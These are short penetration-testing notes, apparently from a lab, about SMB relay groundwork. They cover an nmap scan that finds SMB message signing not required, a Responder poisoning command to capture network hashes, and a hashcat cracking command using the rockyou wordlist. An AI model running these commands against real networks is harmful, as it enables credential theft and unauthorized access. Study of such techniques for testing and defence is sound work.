

Scanning for vulnerability

```
nmap --script=smb2-security-mode.nse [TARGET IP ADDRESS]
```

```
Nmap scan report for 192.168.10.136
Host is up (0.00026s latency).
Not shown: 997 closed ports
PORT      STATE SERVICE
135/tcp   open  msrpc
139/tcp   open  netbios-ssn
445/tcp   open  microsoft-ds
MAC Address: 00:0C:29:A9:4B:E6 (VMware)

Host script results:
| smb2-security-mode:
|   2.02:
|_  Message signing enabled but not required
```

```
responder -I eth0 -rdwv
```

[illegible]

```
hashcat -m HASHTYPE FILEWHEREHASHISSAVED.TXT /usr/share/wordlists/rockyou.txt --  
force
```

Hash type # can be found [here](#).